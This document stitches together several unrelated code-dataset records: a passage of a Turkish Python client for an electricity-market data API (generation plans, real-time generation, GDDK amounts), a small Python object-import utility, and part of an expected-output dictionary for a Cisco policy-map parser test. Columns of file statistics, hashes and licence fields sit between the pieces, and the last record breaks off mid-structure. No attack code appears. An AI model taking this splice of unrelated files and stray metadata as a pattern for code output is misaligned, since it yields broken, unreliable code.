baslangic_tarihi : %YYYY-%AA-%GG formatında başlangıç tarihi (Varsayılan: bugün)
bitis_tarihi : %YYYY-%AA-%GG formatında bitiş tarihi (Varsayılan: bugün)
Geri Dönüş Değeri
-----------------
KGÜP Girebilen Organizasyonların UEVCB KGUP Değerleri (Tarih, Saat, KGUP)
"""
if __dogrulama.__baslangic_bitis_tarih_dogrulama(baslangic_tarihi, bitis_tarihi):
org_uevcb = tum_organizasyonlar_veris_cekis_birimleri()
list_org_uevcb = org_uevcb[["Org EIC Kodu", "UEVÇB EIC Kodu", "UEVÇB Adı"]].to_dict("records")
list_org_uevcb_len = len(list_org_uevcb)
list_date_org_uevcb_eic = list(
zip([baslangic_tarihi] * list_org_uevcb_len, [bitis_tarihi] * list_org_uevcb_len, list_org_uevcb))
list_date_org_uevcb_eic = list(map(list, list_date_org_uevcb_eic))
with __Pool(__mp.cpu_count()) as p:
list_df_unit = p.starmap(__eak_uevcb, list_date_org_uevcb_eic, chunksize=1)
list_df_unit = list(filter(lambda x: len(x) > 0, list_df_unit))
df_unit = __red(lambda left, right: __pd.merge(left, right, how="outer", on=["Tarih", "Saat"], sort=True),
list_df_unit)
return df_unit
def kudup(baslangic_tarihi=__dt.datetime.today().strftime("%Y-%m-%d"),
bitis_tarihi=__dt.datetime.today().strftime("%Y-%m-%d"), organizasyon_id="", uevcb_id=""):
"""
İlgili tarih aralığı için gün içi piyasasının kapanışından sonra yapılan güncellemeyle kaynak bazlı Kesinleşmiş
Uzlaştırma Dönemi Üretim Planı (KUDÜP) bilgisini vermektedir.
Not: "organizasyon_eic" değeri girildiği, "uevcb_eic" değeri girilmediği taktirde organizasyona ait tüm uevcb'lerin
toplamı için kgüp bilgisini vermektedir. Her iki değer de girildiği taktirde ilgili organizasyonun ilgili uevcb'si
için kgüp bilgisini vermektedir.
Parametreler
------------
baslangic_tarihi : %YYYY-%AA-%GG formatında başlangıç tarihi (Varsayılan: bugün)
bitis_tarihi : %YYYY-%AA-%GG formatında bitiş tarihi (Varsayılan: bugün)
organizasyon_id : metin formatında organizasyon id (Varsayılan: "")
uevcb_id : metin formatında uevcb id (Varsayılan: "")
Geri Dönüş Değeri
-----------------
KUDÜP (Tarih, Saat, Doğalgaz, Barajlı, Linyit, Akarsu, İthal Kömür, Rüzgar, Fuel Oil, Jeo Termal, Taş Kömür,
Biyokütle, Nafta, Diğer, Toplam)
"""
if __dogrulama.__baslangic_bitis_tarih_dogrulama(baslangic_tarihi, bitis_tarihi):
try:
particular_url = __first_part_url + "sbfgp" + "?startDate=" + baslangic_tarihi + "&endDate=" + \
bitis_tarihi + "&organizationId=" + organizasyon_id + "&uevcbId=" + uevcb_id
json = __make_requests(particular_url)
df = __pd.DataFrame(json["body"]["dppList"])
df["Saat"] = df["tarih"].apply(lambda h: int(h[11:13]))
df["Tarih"] = __pd.to_datetime(df["tarih"].apply(lambda d: d[:10]))
df.rename(index=str,
columns={"akarsu": "Akarsu", "barajli": "Barajlı", "biokutle": "Biyokütle", "diger": "Diğer",
"dogalgaz": "Doğalgaz", "fuelOil": "Fuel Oil", "ithalKomur": "İthal Kömür",
"jeotermal": "Jeo Termal", "linyit": "Linyit", "nafta": "Nafta",
"ruzgar": "Rüzgar", "tasKomur": "Taş Kömür", "toplam": "Toplam"}, inplace=True)
df = df[["Tarih", "Saat", "Doğalgaz", "Barajlı", "Linyit", "Akarsu", "İthal Kömür", "Rüzgar",
"Fuel Oil", "Jeo Termal", "Taş Kömür", "Biyokütle", "Nafta", "Diğer", "Toplam"]]
except (KeyError, TypeError):
return __pd.DataFrame()
else:
return df
def uevm(baslangic_tarihi=__dt.datetime.today().strftime("%Y-%m-%d"),
bitis_tarihi=__dt.datetime.today().strftime("%Y-%m-%d")):
"""
İlgili tarih aralığı için saatlik Uzlaştırmaya Esas Variş Miktarı (UEVM) bilgisini vermektedir.
Parametreler
------------
baslangic_tarihi : %YYYY-%AA-%GG formatında başlangıç tarihi (Varsayılan: bugün)
bitis_tarihi : %YYYY-%AA-%GG formatında bitiş tarihi (Varsayılan: bugün)
Geri Dönüş Değeri
-----------------
Uzlaştırmaya Esas Veriş Miktarı (Tarih, Saat, UEVM)
"""
if __dogrulama.__baslangic_bitis_tarih_dogrulama(baslangic_tarihi, bitis_tarihi):
try:
particular_url = __first_part_url + "ssv-categorized" + "?startDate=" + baslangic_tarihi + "&endDate=" + \
bitis_tarihi
json = __make_requests(particular_url)
df = __pd.DataFrame(json["body"]["ssvList"])
df["Saat"] = df["date"].apply(lambda h: int(h[11:13]))
df["Tarih"] = __pd.to_datetime(df["date"].apply(lambda d: d[:10]))
df.rename(index=str,
columns={"asphaltite": "Asfaltit Kömür", "river": "Akarsu", "dam": "Barajlı",
"biomass": "Biyokütle", "naturalGas": "Doğalgaz", "fueloil": "Fuel Oil",
"importedCoal": "İthal Kömür", "geothermal": "Jeo Termal", "lignite": "Linyit",
"naphtha": "Nafta", "lng": "LNG", "wind": "Rüzgar", "stonecoal": "Taş Kömür",
"international": "Uluslararası", "total": "Toplam", "other": "Diğer"},
inplace=True)
df = df[
["Tarih", "Saat", "Doğalgaz", "Barajlı", "Linyit", "Akarsu", "İthal Kömür", "Rüzgar",
"Fuel Oil", "Jeo Termal", "Asfaltit Kömür", "Taş Kömür", "Biyokütle", "Nafta", "LNG", "Uluslararası",
"Diğer", "Toplam"]]
except (KeyError, TypeError):
return __pd.DataFrame()
else:
return df
def gerceklesen(baslangic_tarihi=__dt.datetime.today().strftime("%Y-%m-%d"),
bitis_tarihi=__dt.datetime.today().strftime("%Y-%m-%d"), santral_id=""):
"""
İlgili tarih aralığı için lisanslı santrallerin toplam gerçek zamanlı üretim bilgisini vermektedir.
Not: "santral_id" değeri girildiği taktirde santrale ait gerçek zamanlı üretim bilgisini vermektedir.
Girilmediği taktirde toplam gerçek zamanlı üretim bilgisini vermektedir.
Parametreler
------------
baslangic_tarihi : %YYYY-%AA-%GG formatında başlangıç tarihi (Varsayılan: bugün)
bitis_tarihi : %YYYY-%AA-%GG formatında bitiş tarihi (Varsayılan: bugün)
santral_id : metin yada tam sayı formatında santral id (Varsayılan: "")
Geri Dönüş Değeri
-----------------
Gerçek Zamanlı Üretim("Tarih", "Saat", "Doğalgaz", "Barajlı", "Linyit", "Akarsu", "İthal Kömür", "Rüzgar", "Güneş",
"Fuel Oil", "Jeo Termal", "Asfaltit Kömür", "Taş Kömür", "Biokütle", "Nafta", "LNG", "Uluslararası",
"Toplam")
"""
if __dogrulama.__baslangic_bitis_tarih_id_dogrulama(baslangic_tarihi, bitis_tarihi, santral_id):
if santral_id == "":
return __gerceklesen(baslangic_tarihi, bitis_tarihi)
else:
return __santral_bazli_gerceklesen(baslangic_tarihi, bitis_tarihi, santral_id)
def tum_santraller_gerceklesen(baslangic_tarihi=__dt.datetime.today().strftime("%Y-%m-%d"),
bitis_tarihi=__dt.datetime.today().strftime("%Y-%m-%d")):
"""
İlgili tarih aralığı için tüm lisanslı santrallerin gerçek zamanlı üretim bilgisini vermektedir.
Parametreler
------------
baslangic_tarihi : %YYYY-%AA-%GG formatında başlangıç tarihi (Varsayılan: bugün)
bitis_tarihi : %YYYY-%AA-%GG formatında bitiş tarihi (Varsayılan: bugün)
Geri Dönüş Değeri
-----------------
Tüm lisanslı santrallerin gerçek zamanlı üretim Değerleri (Tarih, Saat, Santral Üretimleri)
"""
if __dogrulama.__baslangic_bitis_tarih_dogrulama(baslangic_tarihi, bitis_tarihi):
sant = __santraller.gercek_zamanli_uretim_yapan_santraller()
list_sant = sant[["Id", "Kısa Adı"]].to_dict("records")
list_sant_len = len(list_sant)
list_sant = list(
zip([baslangic_tarihi] * list_sant_len, [bitis_tarihi] * list_sant_len, list_sant))
list_sant = list(map(list, list_sant))
with __Pool(__mp.cpu_count()) as p:
list_df_unit = p.starmap(__gerceklesen_santral, list_sant, chunksize=1)
list_df_unit = list(filter(lambda x: len(x) > 0, list_df_unit))
df_unit = __red(lambda left, right: __pd.merge(left, right, how="outer", on=["Tarih", "Saat"], sort=True),
list_df_unit)
return df_unit
def gddk(baslangic_tarihi=__dt.datetime.today().strftime("%Y-%m-%d"),
bitis_tarihi=__dt.datetime.today().strftime("%Y-%m-%d")):
"""
İlgili tarih aralığı için geriye dönük düzeltme kalemine (GDDK) ait değerleri vermektedir.
Parametreler
------------
baslangic_tarihi : %YYYY-%AA-%GG formatında başlangıç tarihi (Varsayılan: bugün)
bitis_tarihi : %YYYY-%AA-%GG formatında bitiş tarihi (Varsayılan: bugün)
Geri Dönüş Değeri
-----------------
Dönemlik GDDK (₺)
"""
if __dogrulama.__baslangic_bitis_tarih_dogrulama(baslangic_tarihi, bitis_tarihi):
try:
particular_url = \
__first_part_url + "gddk-amount" + "?startDate=" + baslangic_tarihi + "&endDate=" + bitis_tarihi
json = __make_requests(particular_url)
df = __pd.DataFrame(json["body"]["gddkAmountList"])
df["Dönem"] = df["id"].apply(
lambda x: str(__pd.to_datetime(x["date"][:10]).month_name(locale='tr_TR.UTF-8')) + "-" + str(
__pd.to_datetime(x["date"][:10]).year))
df["Versiyon"] = df["id"].apply(
lambda x: str(__pd.to_datetime(x["version"][:10]).month_name(locale='tr_TR.UTF-8')) + "-" + str(
__pd.to_datetime(x["version"][:10]).year))
df.rename(index=str,
columns={"gddkCreditAmount": "Alacak GDDK Tutarı (TL)", "gddkDebtAmount": "Borç GDDK Tutarı (TL)",
"gddkNetAmount": "Net GDDK Tutarı (TL)"}, inplace=True)
df = df[["Dönem", "Versiyon", "Alacak GDDK Tutarı (TL)", "Borç GDDK Tutarı (TL)", "Net GDDK Tutarı (TL)"]]
except (KeyError, TypeError):
return __pd.DataFrame()
else:
return df
def __gerceklesen(baslangic_tarihi=__dt.datetime.today().strftime("%Y-%m-%d"),
bitis_tarihi=__dt.datetime.today().strftime("%Y-%m-%d")):
"""
İlgili tarih aralığı için lisanslı santrallerin toplam gerçek zamanlı üretim bilgisini vermektedir.
Parametreler
------------
baslangic_tarihi : %YYYY-%AA-%GG formatında başlangıç tarihi (Varsayılan: bugün)
bitis_tarihi : %YYYY-%AA-%GG formatında bitiş tarihi (Varsayılan: bugün)
Geri Dönüş Değeri
-----------------
Gerçek Zamanlı Üretim("Tarih", "Saat", "Doğalgaz", "Barajlı", "Linyit", "Akarsu", "İthal Kömür", "Rüzgar", "Güneş",
"Fuel Oil", "Jeo Termal", "Asfaltit Kömür", "Taş Kömür", "Biokütle", "Nafta", "LNG", "Uluslararası",
"Toplam")
"""
try:
particular_url = __first_part_url + "real-time-generation" + "?startDate=" + baslangic_tarihi + "&endDate=" \
+ bitis_tarihi
json = __make_requests(particular_url)
df = __pd.DataFrame(json["body"]["hourlyGenerations"])
df["Saat"] = df["date"].apply(lambda h: int(h[11:13]))
df["Tarih"] = __pd.to_datetime(df["date"].apply(lambda d: d[:10]))
df.rename(index=str,
columns={"asphaltiteCoal": "Asfaltit Kömür", "river": "Akarsu", "dammedHydro": "Barajlı",
"biomass": "Biyokütle", "sun": "Güneş", "naturalGas": "Doğalgaz",
"fueloil": "Fuel Oil", "importCoal": "İthal Kömür", "geothermal": "Jeo Termal",
"lignite": "Linyit", "naphta": "Nafta", "lng": "LNG", "wind": "Rüzgar",
"blackCoal": "Taş Kömür", "importExport": "Uluslararası", "total": "Toplam"},
inplace=True)
df = df[
["Tarih", "Saat", "Doğalgaz", "Barajlı", "Linyit", "Akarsu", "İthal Kömür", "Rüzgar", "Güneş",
"Fuel Oil", "Jeo Termal", "Asfaltit Kömür", "Taş Kömür", "Biyokütle", "Nafta", "LNG", "Uluslararası",
"Toplam"]]
except (KeyError, TypeError):
return __pd.DataFrame()
else:
return df
def __santral_bazli_gerceklesen(baslangic_tarihi, bitis_tarihi, santral_id):
"""
İlgili tarih aralığı ve santral için gerçek zamanlı üretim bilgisini vermektedir.
Parametreler
------------
baslangic_tarihi : %YYYY-%AA-%GG formatında başlangıç tarihi
bitis_tarihi : %YYYY-%AA-%GG formatında bitiş tarihi
santral_id : metin yada tam sayı formatında santral id
Geri Dönüş Değeri
-----------------
Santral Bazlı Gerçek Zamanlı Üretim("Tarih", "Saat", "Doğalgaz", "Barajlı", "Linyit", "Akarsu", "İthal Kömür",
"Rüzgar", "Güneş", "Fuel Oil", "Jeo Termal", "Asfaltit Kömür", "Taş Kömür", "Biokütle", "Nafta", "LNG",
"Uluslararası", "Toplam")
"""
try:
particular_url = __first_part_url + "real-time-generation_with_powerplant" + "?startDate=" + \
baslangic_tarihi + "&endDate=" + bitis_tarihi + "&powerPlantId=" + str(santral_id)
json = __make_requests(particular_url)
df = __pd.DataFrame(json["body"]["hourlyGenerations"])
df["Saat"] = df["date"].apply(lambda h: int(h[11:13]))
df["Tarih"] = __pd.to_datetime(df["date"].apply(lambda d: d[:10]))
df.rename(index=str,
columns={"asphaltiteCoal": "Asfaltit Kömür", "river": "Akarsu", "dammedHydro": "Barajlı",
"biomass": "Biyokütle", "sun": "Güneş", "naturalGas": "Doğalgaz",
"fueloil": "Fuel Oil", "importCoal": "İthal Kömür", "geothermal": "Jeo Termal",
"lignite": "Linyit", "naphta": "Nafta", "lng": "LNG", "wind": "Rüzgar",
"blackCoal": "Taş Kömür", "importExport": "Uluslararası", "total": "Toplam"},
inplace=True)
df = df[
["Tarih", "Saat", "Doğalgaz", "Barajlı", "Linyit", "Akarsu", "İthal Kömür", "Rüzgar", "Güneş",
"Fuel Oil", "Jeo Termal", "Asfaltit Kömür", "Taş Kömür", "Biyokütle", "Nafta", "LNG", "Uluslararası",
"Toplam"]]
except (KeyError, TypeError):
return __pd.DataFrame()
else:
return df
def __gerceklesen_santral(baslangic_tarihi, bitis_tarihi, santral):
"""
İlgili tarih aralığı ve santral için gerçek zamanlı üretim bilgisini vermektedir.
Parametreler
------------
baslangic_tarihi : %YYYY-%AA-%GG formatında başlangıç tarihi
bitis_tarihi : %YYYY-%AA-%GG formatında bitiş tarihi
santral_id : metin yada tam sayı formatında santral id
Geri Dönüş Değeri
-----------------
Santral Bazlı Gerçek Zamanlı Üretim("Tarih", "Saat", "Toplam")
"""
try:
particular_url = __first_part_url + "real-time-generation_with_powerplant" + "?startDate=" + \
baslangic_tarihi + "&endDate=" + bitis_tarihi + "&powerPlantId=" + str(santral["Id"])
json = __make_requests(particular_url)
df = __pd.DataFrame(json["body"]["hourlyGenerations"])
df["Saat"] = df["date"].apply(lambda h: int(h[11:13]))
df["Tarih"] = __pd.to_datetime(df["date"].apply(lambda d: d[:10]))
df.rename(index=str, columns={"total": santral["Kısa Adı"]}, inplace=True)
df = df[["Tarih", "Saat", santral["Kısa Adı"]]]
except (KeyError, TypeError):
return __pd.DataFrame()
else:
return df
def __organizasyon_cekis_birimleri(org):
"""
İlgili eic değeri için Kesinleşmiş Gün Öncesi Üretim Planı (KGÜP) girebilecek olan organizasyonun uzlaştırmaya
esas veriş-çekiş birim (UEVÇB) bilgilerini ve organizasyona dair bilgileri vermektedir.
Parametreler
------------
org : dict formatında organizasyon Id, Adı, EIC Kodu, Kısa Adı, Durum
Geri Dönüş Değeri
-----------------
KGÜP Girebilen Organizasyon Bilgileri(Org Id, Org Adı, Org EIC Kodu, Org Kısa Adı,Org Durum, UEVÇB Id, UEVÇB Adı,
UEVÇB EIC Kodu)
"""
try:
particular_url = __first_part_url + "dpp-injection-unit-name?organizationEIC=" + org["EIC Kodu"]
json = __make_requests(particular_url)
df = __pd.DataFrame(json["body"]["injectionUnitNames"])
df["Org Id"] = org["Id"]
df["Org Adı"] = org["Adı"]
df["Org EIC Kodu"] = org["EIC Kodu"]
df["Org Kısa Adı"] = org["Kısa Adı"]
df["Org Durum"] = org["Durum"]
df.rename(index=str,
columns={"id": "UEVÇB Id", "name": "UEVÇB Adı", "eic": "UEVÇB EIC Kodu"},
inplace=True)
df = df[["Org Id", "Org Adı", "Org EIC Kodu", "Org Kısa Adı",
"Org Durum", "UEVÇB Id", "UEVÇB Adı", "UEVÇB EIC Kodu"]]
except (KeyError, TypeError):
return __pd.DataFrame()
else:
return df
def __kgup(baslangic_tarihi, bitis_tarihi, org):
"""
İlgili tarih aralığı ve organizasyon için kesinleşmiş günlük üretim prgoramı (KGÜP) bilgisini vermektedir.
Parametreler
------------
baslangic_tarihi : %YYYY-%AA-%GG formatında başlangıç tarihi
bitis_tarihi : %YYYY-%AA-%GG formatında bitiş tarihi
org : dict formatında organizasyon EIC Kodu, Kısa Adı
Geri Dönüş Değeri
-----------------
Organizasyonel KGUP değerleri
"""
if __dogrulama.__baslangic_bitis_tarih_dogrulama(baslangic_tarihi, bitis_tarihi):
try:
particular_url = __first_part_url + "dpp" + "?startDate=" + baslangic_tarihi + "&endDate=" + bitis_tarihi \
+ "&organizationEIC=" + org["EIC Kodu"]
json = __make_requests(particular_url)
df = __pd.DataFrame(json["body"]["dppList"])
df["Saat"] = df["tarih"].apply(lambda h: int(h[11:13]))
df["Tarih"] = __pd.to_datetime(df["tarih"].apply(lambda d: d[:10]))
df.rename(index=str, columns={"toplam": org["Kısa Adı"]}, inplace=True)
df = df[["Tarih", "Saat", org["Kısa Adı"]]]
except (KeyError, TypeError):
return __pd.DataFrame()
else:
return df
def __kgup_uevcb(baslangic_tarihi, bitis_tarihi, org_uevcb):
"""
İlgili tarih aralığı ve uzlaştırmaya esas veriş çekiş birimi için kesinleşmiş günlük üretim prgoramı (KGÜP)
bilgisini vermektedir.
Parametreler
------------
baslangic_tarihi : %YYYY-%AA-%GG formatında başlangıç tarihi
bitis_tarihi : %YYYY-%AA-%GG formatında bitiş tarihi
org : dict formatında organizasyon EIC Kodu, Kısa Adı
Geri Dönüş Değeri
-----------------
UEVCB KGUP değerleri
"""
if __dogrulama.__baslangic_bitis_tarih_dogrulama(baslangic_tarihi, bitis_tarihi):
try:
particular_url = __first_part_url + "dpp" + "?startDate=" + baslangic_tarihi + "&endDate=" + bitis_tarihi \
+ "&organizationEIC=" + org_uevcb["Org EIC Kodu"] + "&uevcbEIC=" + org_uevcb[
"UEVÇB EIC Kodu"]
json = __make_requests(particular_url)
df = __pd.DataFrame(json["body"]["dppList"])
df["Saat"] = df["tarih"].apply(lambda h: int(h[11:13]))
df["Tarih"] = __pd.to_datetime(df["tarih"].apply(lambda d: d[:10]))
df.rename(index=str, columns={"toplam": org_uevcb["UEVÇB Adı"]}, inplace=True)
df = df[["Tarih", "Saat", org_uevcb["UEVÇB Adı"]]]
except (KeyError, TypeError):
return __pd.DataFrame()
else:
return df
def __eak(baslangic_tarihi, bitis_tarihi, org):
"""
İlgili tarih aralığı ve organizasyon için emre amade kapasite (EAK) bilgisini vermektedir.
Parametreler
------------
baslangic_tarihi : %YYYY-%AA-%GG formatında başlangıç tarihi
bitis_tarihi : %YYYY-%AA-%GG formatında bitiş tarihi
org : dict formatında organizasyon EIC Kodu, Kısa Adı
Geri Dönüş Değeri
-----------------
ORganizasyonel EAK değerleri
"""
if __dogrulama.__baslangic_bitis_tarih_dogrulama(baslangic_tarihi, bitis_tarihi):
try:
particular_url = __first_part_url + "aic" + "?startDate=" + baslangic_tarihi + "&endDate=" + bitis_tarihi \
+ "&organizationEIC=" + org["EIC Kodu"]
json = __make_requests(particular_url)
df = __pd.DataFrame(json["body"]["aicList"])
df["Saat"] = df["tarih"].apply(lambda h: int(h[11:13]))
df["Tarih"] = __pd.to_datetime(df["tarih"].apply(lambda d: d[:10]))
df.rename(index=str, columns={"toplam": org["Kısa Adı"]}, inplace=True)
df = df[["Tarih", "Saat", org["Kısa Adı"]]]
except (KeyError, TypeError):
return __pd.DataFrame()
else:
return df
def __eak_uevcb(baslangic_tarihi, bitis_tarihi, org_uevcb):
"""
İlgili tarih aralığı ve uzlaştırmaya esas veriş çekiş birimi için emre amade kapasite (EAK) bilgisini vermektedir.
Parametreler
------------
baslangic_tarihi : %YYYY-%AA-%GG formatında başlangıç tarihi
bitis_tarihi : %YYYY-%AA-%GG formatında bitiş tarihi
org : dict formatında organizasyon EIC Kodu, Kısa Adı
Geri Dönüş Değeri
-----------------
UEVCB EAK değerleri
"""
if __dogrulama.__baslangic_bitis_tarih_dogrulama(baslangic_tarihi, bitis_tarihi):
try:
particular_url = __first_part_url + "aic" + "?startDate=" + baslangic_tarihi + "&endDate=" + bitis_tarihi \
+ "&organizationEIC=" + org_uevcb["Org EIC Kodu"] + "&uevcbEIC=" + org_uevcb[
"UEVÇB EIC Kodu"]
json = __make_requests(particular_url)
df = __pd.DataFrame(json["body"]["aicList"])
df["Saat"] = df["tarih"].apply(lambda h: int(h[11:13]))
df["Tarih"] = __pd.to_datetime(df["tarih"].apply(lambda d: d[:10]))
df.rename(index=str, columns={"toplam": org_uevcb["UEVÇB Adı"]}, inplace=True)
df = df[["Tarih", "Saat", org_uevcb["UEVÇB Adı"]]]
except (KeyError, TypeError):
return __pd.DataFrame()
else:
return df
| 48.951657
| 121
| 0.613668
| 4,032
| 35,441
| 5.171875
| 0.077133
| 0.050352
| 0.020716
| 0.024169
| 0.897041
| 0.872824
| 0.856807
| 0.843284
| 0.835084
| 0.818347
| 0
| 0.00324
| 0.242234
| 35,441
| 723
| 122
| 49.019364
| 0.771783
| 0.308908
| 0
| 0.726542
| 0
| 0
| 0.188945
| 0.007395
| 0
| 0
| 0
| 0
| 0
| 1
| 0.058981
| false
| 0
| 0.034853
| 0
| 0.19571
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f5e11328bea8e6bf403223eb2b52f0917bb75846
| 267
|
py
|
Python
|
piskle/utils.py
|
hmiladhia/piskle
|
2ab36db0082967996fe243938fcd5a1734fe08e7
|
[
"MIT"
] | 5
|
2021-01-12T11:06:32.000Z
|
2021-01-13T14:16:35.000Z
|
piskle/utils.py
|
hmiladhia/piskle
|
2ab36db0082967996fe243938fcd5a1734fe08e7
|
[
"MIT"
] | null | null | null |
piskle/utils.py
|
hmiladhia/piskle
|
2ab36db0082967996fe243938fcd5a1734fe08e7
|
[
"MIT"
] | 1
|
2021-01-13T14:16:41.000Z
|
2021-01-13T14:16:41.000Z
|
import importlib
def import_object(name, class_name):
return getattr(importlib.import_module(name), class_name)
def get_object_class_name(o):
cls = o.__class__
module_name, class_name = cls.__module__, cls.__name__
return module_name, class_name
| 22.25
| 61
| 0.764045
| 38
| 267
| 4.763158
| 0.315789
| 0.248619
| 0.287293
| 0.314917
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.157303
| 267
| 11
| 62
| 24.272727
| 0.804444
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.285714
| false
| 0
| 0.428571
| 0.142857
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
f5fd571d2e35f731f2af54e03f8bd2e59a0989d1
| 23,200
|
py
|
Python
|
src/genie/libs/parser/iosxe/tests/ShowPolicyMapType/empty/golden_output25_expected.py
|
balmasea/genieparser
|
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | 204
|
2018-06-27T00:55:27.000Z
|
2022-03-06T21:12:18.000Z
|
src/genie/libs/parser/iosxe/tests/ShowPolicyMapType/empty/golden_output25_expected.py
|
balmasea/genieparser
|
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | 468
|
2018-06-19T00:33:18.000Z
|
2022-03-31T23:23:35.000Z
|
src/genie/libs/parser/iosxe/tests/ShowPolicyMapType/empty/golden_output25_expected.py
|
balmasea/genieparser
|
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | 309
|
2019-01-16T20:21:07.000Z
|
2022-03-30T12:56:41.000Z
|
expected_output = {
"CUST123-PIN-T5/0/0.20": {
"service_policy": {
"input": {
"policy_name": {
"CUST123-PIN-T5/0/0.20": {
"class_map": {
"class-default": {
"match_evaluation": "match-any",
"packets": 21211,
"bytes": 1442291,
"rate": {
"interval": 30,
"offered_rate_bps": 0,
"drop_rate_bps": 0,
},
"match": ["any"],
"police": {
"conformed": {
"packets": 21211,
"bytes": 1442291,
"actions": {
"transmit": True,
"set_mpls_exp_imposition_transmit": "5",
},
"bps": 0,
},
"exceeded": {
"packets": 0,
"bytes": 0,
"actions": {
"drop": True,
"set_mpls_exp_imposition_transmit": "5",
},
"bps": 0,
},
"violated": {
"packets": 0,
"bytes": 0,
"actions": {
"drop": True,
"set_mpls_exp_imposition_transmit": "5",
},
"bps": 0,
},
},
},
"pe_mgmt_bun_input": {
"match_evaluation": "match-any",
"packets": 0,
"bytes": 0,
"rate": {
"interval": 30,
"offered_rate_bps": 0,
"drop_rate_bps": 0,
},
"match": ["access-group 122"],
"police": {
"conformed": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "6"
},
"bps": 0,
},
"exceeded": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
"violated": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
},
},
"pe_mgmt_unb_input": {
"match_evaluation": "match-any",
"packets": 0,
"bytes": 0,
"rate": {
"interval": 30,
"offered_rate_bps": 0,
"drop_rate_bps": 0,
},
"match": ["ip dscp 63"],
"police": {
"conformed": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "6"
},
"bps": 0,
},
"exceeded": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
"violated": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
},
},
"pe_ef_input": {
"match_evaluation": "match-any",
"packets": 0,
"bytes": 0,
"rate": {
"interval": 30,
"offered_rate_bps": 0,
"drop_rate_bps": 0,
},
"match": ["dscp cs5 (40) ef (46)"],
"police": {
"conformed": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "4"
},
"bps": 0,
},
"exceeded": {
"packets": 0,
"bytes": 0,
"actions": {"drop": True},
"bps": 0,
},
"violated": {
"packets": 0,
"bytes": 0,
"actions": {"drop": True},
"bps": 0,
},
},
},
"pe_af4_in_input": {
"match_evaluation": "match-any",
"packets": 0,
"bytes": 0,
"rate": {
"interval": 30,
"offered_rate_bps": 0,
"drop_rate_bps": 0,
},
"match": ["dscp cs4 (32) af41 (34)"],
"police": {
"conformed": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "6"
},
"bps": 0,
},
"exceeded": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
"violated": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
},
},
"pe_af4_out_input": {
"match_evaluation": "match-any",
"packets": 0,
"bytes": 0,
"rate": {
"interval": 30,
"offered_rate_bps": 0,
"drop_rate_bps": 0,
},
"match": ["dscp af42 (36) af43 (38)"],
"police": {
"conformed": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
"exceeded": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
"violated": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
},
},
"pe_af3_in_input": {
"match_evaluation": "match-any",
"packets": 0,
"bytes": 0,
"rate": {
"interval": 30,
"offered_rate_bps": 0,
"drop_rate_bps": 0,
},
"match": ["dscp cs3 (24) af31 (26)"],
"police": {
"conformed": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "6"
},
"bps": 0,
},
"exceeded": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
"violated": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
},
},
"pe_af3_out_input": {
"match_evaluation": "match-any",
"packets": 0,
"bytes": 0,
"rate": {
"interval": 30,
"offered_rate_bps": 0,
"drop_rate_bps": 0,
},
"match": ["dscp af32 (28) af33 (30)"],
"police": {
"conformed": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
"exceeded": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
"violated": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
},
},
"pe_af2_in_input": {
"match_evaluation": "match-any",
"packets": 3157930,
"bytes": 391583320,
"rate": {
"interval": 30,
"offered_rate_bps": 0,
"drop_rate_bps": 0,
},
"match": ["dscp cs2 (16) af21 (18)"],
"police": {
"conformed": {
"packets": 171102,
"bytes": 21216648,
"actions": {
"set_mpls_exp_imposition_transmit": "6"
},
"bps": 0,
},
"exceeded": {
"packets": 941,
"bytes": 116684,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
"violated": {
